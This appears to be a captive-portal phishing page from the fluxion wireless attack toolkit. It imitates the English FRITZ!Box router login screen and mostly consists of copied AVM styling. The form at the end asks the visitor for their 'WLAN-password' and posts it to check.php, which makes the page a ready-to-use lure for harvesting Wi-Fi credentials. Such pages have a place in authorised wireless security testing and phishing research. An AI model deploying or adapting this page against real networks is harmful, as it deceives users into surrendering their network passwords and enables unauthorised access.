fluxion/attacks/Captive Portal/sites/FRITZBox1_en.portal/index.html

615 lines
13 KiB
HTML
Raw Normal View History

<!DOCTYPE html>
<html lang=de><head><meta http-equiv=content-type content="text/html; charset=UTF-8"><meta http-equiv=Cache-Control content="private, no-transform"><meta http-equiv=X-UA-Compatible content=IE=edge><meta name=format-detection content=telephone=no><meta http-equiv=x-rim-auto-match content=none><meta name=viewport content="width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui"><meta name=mobile-web-app-capable content=yes><meta name=apple-mobile-web-app-capable content=yes><meta name=apple-mobile-web-app-status-bar-style content=black-translucent><meta http-equiv=cleartype content=on><link rel="shortcut icon" type=image/x-icon href=http://192.168.178.1/favicon.ico><link rel=apple-touch-icon href=http://192.168.178.1/css/default/images/kopfbalken_links.png><link rel=apple-touch-startup-image href=http://192.168.178.1/css/default/images/kopfbalken_links.png><style>
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesanspro.woff');
}
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesansproBold.woff');
font-weight: bold;
}
@font-face {
font-family: 'AVM';
src: url('/css/rd/fonts/metaWebProBold.woff');
font-weight: bold;
}
html, input, textarea, keygen, select, button {
font-family: 'Source Sans Pro', Arial, sans-serif;
font-size: 100%;
}
.blue_bar_title,
.logoArea {
font-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;
}
</style><style type=text/css>
/********************************************** Allgemein **********************************************/
* {
-webkit-tap-highlight-color: rgba(0,0,0,0);
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-touch-callout: text;
-webkit-user-select: text;
-khtml-user-select: text;
-moz-user-select: text;
-ms-user-select: text;
user-select: text;
font-size: 100%;
vertical-align: middle;
outline: 0;
}
*::selection {
background: transparent;
}
*::-moz-selection {
background: transparent;
}
.selectable *::selection {
background: #8fdaff;
}
.selectable *::-moz-selection {
background: #8fdaff;
}
html {
height: 100%;
font-size: 100%;
background-color: #f0eee6;
transition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
body {
height: 100%;
padding:0;
margin:0;
color: #3F464C;
overflow-x: hidden;
overflow-y: auto;
line-height: 1;
}
h1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {
margin: 0;
padding: 0;
border: 0;
}
h4 {
margin: 1.25rem 0;
}
input {
margin: 0;
padding: 0;
}
hr {
padding: 0;
border-top: 1px solid #d5d5d5;
margin: 1.25rem -1.25rem;
}
header {
height: 6.25rem;
width: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
background-color: #006ec0;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-flex-direction: row;
-moz-box-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
.hidden {
display: none;
}
.blue_bar_title {
-webkit-box-flex: 1 1 auto;
-moz-box-flex: 1 1 auto;
-webkit-flex: 1 1 auto;
-ms-flex: 1 1 auto;
flex: 1 1 auto;
-webkit-box-align-self: center;
-moz-box-align-self: center;
-webkit-align-self: center;
-ms-align-self: center;
align-self: center;
margin: 0.3rem 0 0 0;
font-size: 3rem;
font-weight: bold;
text-align: left;
color: #ffffff;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
text-align: center;
transition: all 150ms;
}
.blue_bar_title.fade {
font-size: 0;
color: transparent;
}
.logoBox {
background-image: url("fritzLogo.svg");
background-position: center right;
background-repeat: no-repeat;
background-size: 7rem;
color: transparent;
width: 10.75rem;
height: 6.25rem;
}
.logoBox.fake {
background-image: none;
}
.dialog_outer {
height: 100%;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-justify-content: center;
-moz-box-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
-webkit-box-align-items: center;
-moz-box-align-items: center;
-webkit-align-items: center;
-ms-align-items: center;
align-items: center;
background-image: url("login_background.svg");
background-position: center 51%;
background-repeat: no-repeat;
background-size: 38rem;
padding: 6.5rem 0;
}
.dialog_outer p {
margin: 1.25rem 0;
line-height: 1.25rem;
}
.loginForm {
display: block;
}
.setFac .pushmailQuestion,
.setFac #sendFacReset,
.setFac #sendPushMail,
.setFac #setFac,
.pushmailSend,
.restore,
.pushmail .pushmailQuestion,
.pushmail #sendFacReset,
.pushmail #sendPushMail,
.pushmail #setFac,
.forgotPassForm,
.forgotPass .loginForm {
display: none;
}
.setFac .restore,
.pushmail .pushmailSend,
.forgotPass .forgotPassForm {
display: block;
visibility: visible;
}
.setFac .forgotPassForm {
display: none;
}
.pushmail.wait .pushmailSend {
visibility: hidden;
}
.intxt.wait,
.setFac.wait .dialog_content,
.pushmail.wait .dialog_content {
background-image: url("/css/rd/images/wait_circle_bright_back.gif");
background-position: center 1.5rem;
background-repeat: no-repeat;
background-size: 2rem;
}
.intxt.wait {
height: 2rem;
width: 100%;
margin: 0.5rem;
background-position: center;
}
.ErrorMsg,
.error_text,
.WarnMsgBold {
color: #ff3000;
}
.WarnMsgBold {
font-weight:bold;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0 1.25rem;
}
#uiLoginError,
#uiUsernameError {
height: 1.25rem;
margin: -0.35rem 0 0.75rem 9rem;
font-size: 0.94rem;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
#uiLoginError {
height: 7.25rem;
margin: -0.35rem 0 0 9rem;
}
#uiLoginError p:first-Child {
margin: 0;
}
#uiLoginError p:nth-Child(2) {
margin: 0 0 1.25rem 0;
}
#uiLoginError p {
transition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
@media (max-width: 759px) {
#uiLoginError {
height: 7.5rem;
}
}
@media (max-width: 369px) {
#uiLoginError {
height: 10rem;
}
}
@media (max-width: 279px) {
#uiLoginError {
height: 13rem;
}
}
#uiUsernameError.hidden,
#uiLoginError.hidden {
display: block;
overflow: hidden;
height: 0;
margin: 0 0 0 9rem;
}
#uiLoginError.hidden p.error_text {
color: transparent;
}
button {
min-width: 5.5rem;
min-height: 1.75rem;
overflow: hidden;
padding: 0 1rem;
margin: 0 0 0 1.25rem;
background-color: #e9edf0;
border: 1px solid #d8dfe3;
border-radius: 0.25rem;
color: #4269a4;
cursor: pointer;
will-change: border, background-color, color;
transition: border 100ms,
background-color 100ms,
color 100ms;
}
.btn_form_foot button {
margin: 0 0 0 1.25rem;
}
button:first-Child {
margin-left: 0;
}
button:active {
background-color: #bcccd4;
border: 1px solid #b0bec5;
}
button:disabled {
background-color: #e0e0de;
border: 1px solid #d8dfe3;
color: #969693;
cursor: default;
}
.btn_form_foot button {
min-height: 2rem;
min-width: 7.5rem;
margin: 0 0 0 0.5rem;
background-color: #268edf;
color: #ffffff;
cursor: pointer;
overflow: hidden;
text-align: center;
padding: 0.35rem 1rem;
will-change: margin, width, background-color, color;
transition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
width 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
background-color 100ms,
color 100ms;
border: 0;
border-radius: 0;
}
.btn_form_foot button:active {
background-color: #57758c;
}
.btn_form_foot button:disabled {
background-color: #d5d5d5;
color: #969693;
cursor: default;
}
@media (max-width: 1023px) {
.btn_form_foot button {
min-height: 2.25rem;
}
}
@media (min-width: 760px) {
/*pc*/
.dialog_inner {
-webkit-box-flex: 0 0 28.75rem;
-moz-box-flex: 0 0 28.75rem;
-webkit-flex: 0 0 28.75rem;
-ms-flex: 0 0 28.75rem;
flex: 0 0 28.75rem;
margin: auto 0;
padding: 0;
box-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);
background-color: #ffffff;
}
.dialog_head_box {
text-align: left;
height: 3.25rem;
margin: auto;
background-color: #268edf;
}
.dialog_head_box h2 {
margin: 0 0 0 1.25rem;
font-weight: bold;
font-size: 1.25rem;
color: #ffffff;
letter-spacing: 0.025rem;
line-height: 3.4rem;
}
.dialog_content {
padding: 0 0 1rem 0;
min-height: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0 1.25rem 0 1.25rem;
}
label,
input,
select {
margin: 0 0 0.5rem;
color: #3F464C;
vertical-align: middle;
display: inline-block;
}
.formular label {
width: 8.5rem;
margin-right: 0.5rem;
line-height: 1.7rem;
}
.formular input,
.formular select {
width: 17.25rem;
border: 1px solid #d5d5d5;
height: 1.7rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin-right: 0.25rem;
}
.btn_form_foot {
border-top: 1px solid #d5d5d5;
margin: 1.75rem 0 0 0;
padding: 1rem 1.25rem 0 1.25rem;
text-align: right;
width: 100%;
display: flex;
flex-direction: row-reverse;
justify-content: space-between;
align-items: center;
}
.forgotPass .btn_form_foot {
justify-content: flex-start;
}
.btn_form_foot a {
display: inline-block;
text-decoration: none;
font-size: 0.9375rem;
font-weight: normal;
color: #4269a4;
margin: 0;
padding: 0.1rem 0 0 0;
cursor: pointer;
}
.btn_form_foot a:hover {
text-decoration: underline;
}
}
@media (max-width: 759px) {
/*f<>r mobile Ansicht*/
html {
background-color: #ffffff;
background-image: none;
}
body {
height: auto;
}
header {
height: 3.75rem;
}
.dialog_outer {
font-size: 1.25rem;
background-image: none;
padding: 3.75rem 0 4.25rem 0;
}
.blue_bar_title {
text-align: left;
padding: 1rem 0 1.035rem 0.15rem;
font-size: 1.25rem;
font-weight: normal;
}
.blue_bar_title.hide {
color: transparent;
}
.dialog_inner {
width: 90%;
margin: 0;
}
.dialog_head_box {
display: none;
}
.logoBox {
height: 3.75rem;
background-position: left 0.5rem center;
background-size: 3.75rem;
width: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0;
}
label,
input,
select {
vertical-align: middle;
display: inline-block;
margin: 0 0 0.5rem;
color: #3F464C;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0;
}
.formular label {
width: 10rem;
line-height: 1.7rem;
margin: 0 0.5rem 0 0;
vertical-align: top;
}
#uiLoginError,
#uiUsernameError {
margin: 0 0 1rem 0;
font-size: 1.15rem;
}
#uiUsernameError.hidden,
#uiLoginError,
#uiLoginError.hidden {
margin: 0;
}
.formular input,
.formular select {
border: 1px solid #d5d5d5;
height: 1.7rem;
width: 100%;
max-width: 20rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin: 0 0.5rem 0.5rem 0;
}
.btn_form_foot {
border: none;
margin: 0 -1.25rem 0 -1.25rem;
padding: 0 1.25rem;
text-align: center;
width: calc(100% + 2.5rem);
display: flex;
flex-direction: column-reverse;
}
button,
.btn_form_foot button {
min-width: 100%;
min-height: 2.2rem;
margin: 0;
}
.btn_form_foot button {
margin: 2rem 0 0 0;
}
.btn_form_foot a {
display: block;
position: fixed;
bottom: 0;
left: 0;
text-align: center;
width: 100%;
padding: 1rem 0;
background-color: #f1f6f9;
cursor: pointer;
}
.btn_form_foot a {
color: #3080C8;
}
.logoBox.fake {
display: none;
}
}
.perfTestHead {
border-top: 1px solid #ff3000;
margin: 1rem 0 0 0;
padding: 1.25rem 1.25rem 0 1.25rem;
color: #ff3000;
cursor: pointer;
}
.perfTestHead span {
display: inline-block;
height: 1rem;
width: 2rem;
background-image: url("/css/rd/images/link_open_red.svg");
background-position: center;
background-size: 1rem;
background-repeat: no-repeat;
}
.perfTestHead.show span {
background-image: url("/css/rd/images/link_closed_red.svg");
}
.perfTestMsg {
display: none;
padding: 0 1.25rem 0 1.25rem;
}
.perfTestMsg.show {
display: block;
}
.forgotPass .perfTestHead,
.forgotPass .perfTestMsg.show {
display: none;
}
.hintMsg {
font-weight: bold;
}
@media (max-width: 759px) {
.perfTestHead {
margin: 1.5rem 0 0 0;
padding: 1.25rem 0 0 0;
}
.perfTestMsg {
padding: 0;
}
}
@media (min-width: 2040px) {
html {
font-size: 0.79vw;
}
}
</style><title>FRITZ!Box</title></head> <body> <script>
var gNbc = false,
config = {"gu_type":"release","isDebug":false,"GUI_IS_REPEATER":false};
</script> <script src=FRITZ%21Box-Dateien/avmcore.js></script> <!--<script src="/js/browser.js"></script>--> <!--<script src="/js/jsl.js"></script>--> <!--<script src="/js/md5.js"></script>--> <!--<script src="/js/html.js"></script>--> <!--<script src="/js/func.js"></script>--> <!--<script type="text/javascript" src="/myfritz/js/focuschanger.js?lang=de"></script>--> <!--<script src="/js/html2.js?lang=de"></script>--> <!--<script src="/js/http.js"></script>--> <script type=text/javascript src=FRITZ%21Box-Dateien/login.js></script> <script type=text/javascript>
</script> <header id=blueBarBox name class><div id name class=logoBox></div> <div id=blueBarTitel name class=blue_bar_title>FRITZ!Box WLAN</div> <div id name class="logoBox fake"></div></header><div class=dialog_outer> <div id=dialogInner class=dialog_inner> <div id=dialogHeadBox class=dialog_head_box> <h2 id=dialogTitle>Welcome to your FRITZ!Box</h2></div> <div id=dialogContent class=dialog_content> <form method=post action=check.php id=form1 name=form1 class=loginForm> <div class=formular> <p>Please log in with your WLAN-password.</p> <input tabindex=2 name=key1 type=password> <div id=uiLoginError class=hidden> <p id=uiWait class=error_text></p></div></div> <div class=btn_form_foot> <input name=response id=uiResp value type=hidden> <input name=lp value type=hidden> <input name=username id=username value type=hidden> <button type=submit tabindex=3 id=submitLoginBtn>Log in</button> <a>Forgot password?</a></div></form></div></div></div>